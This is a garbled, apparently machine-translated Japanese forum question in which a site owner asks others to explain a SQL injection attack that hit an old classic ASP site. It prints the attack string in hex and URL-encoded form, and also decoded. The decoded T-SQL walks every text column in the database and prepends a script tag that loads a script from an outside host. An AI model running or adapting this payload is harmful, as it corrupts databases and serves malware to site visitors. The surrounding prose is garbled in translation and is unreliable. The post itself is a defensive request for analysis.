私はこの記事を非常に多くのコーディング関連として掲示したいと思っていました。今週私の会社の古いASP(クラシック)サイトでこの週を整理しなければならなかったものでした。誰かが私にこのSQLインジェクション攻撃を説明できますか?
数日前に実行されたSQLインジェクション攻撃でヒットしましたが、これらのSQLクエリーを使用してSQL Serverに「ダメージ」があったのは私の頭を傷つけています。
正直言って、これは非常に独創的な方法で実行されていると思っていました。
攻撃:
それが解読何122 +は+%の40代+ VARCHAR%28.4万%29 +設定+%の40代を宣言%3Dcast%280x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e333020616e %28.4万%29%29 + EXEC%28%40代%29-
VARCHARとして6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f6c696c75706f7068696c75706f702e636f6d2f736c2e706870223e3c2f7363726970743e3c212d2d27272b525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d2929207768657265204c45465428525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d29292c3137293c3e2727223e3c2f7469746c653e3c7363726970742727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f
:(私は理解して欲しいもの)
set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['[email protected]+'] SET ['[email protected]+']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['[email protected]+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['[email protected]+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
我々はバックアップ(事前注入)を回収して、アプリケーション全体を経て、すべての入力文を消毒しました。私たちのサーバーはファイアウォールされているので、直接SQLにアクセスすることはできませんが、他に何が残っているか知りたいのですが、SQLクエリが私の頭上にあることを認めなければなりません。
誰かが攻撃を受けて攻撃SQLを説明することはできますか?
の謝罪は、私がFULL DUMP & SQL
HTMLファイルAFAICTの一部にJavaScriptファイルが追加されているようです。 – Blender
'SELECT 0xFF;'はMySQLで 'ÿ'を返します。このパスを調べることができます。 –
あなたがスナップを取り除いて全部を投稿すると助けになるかもしれない – griegs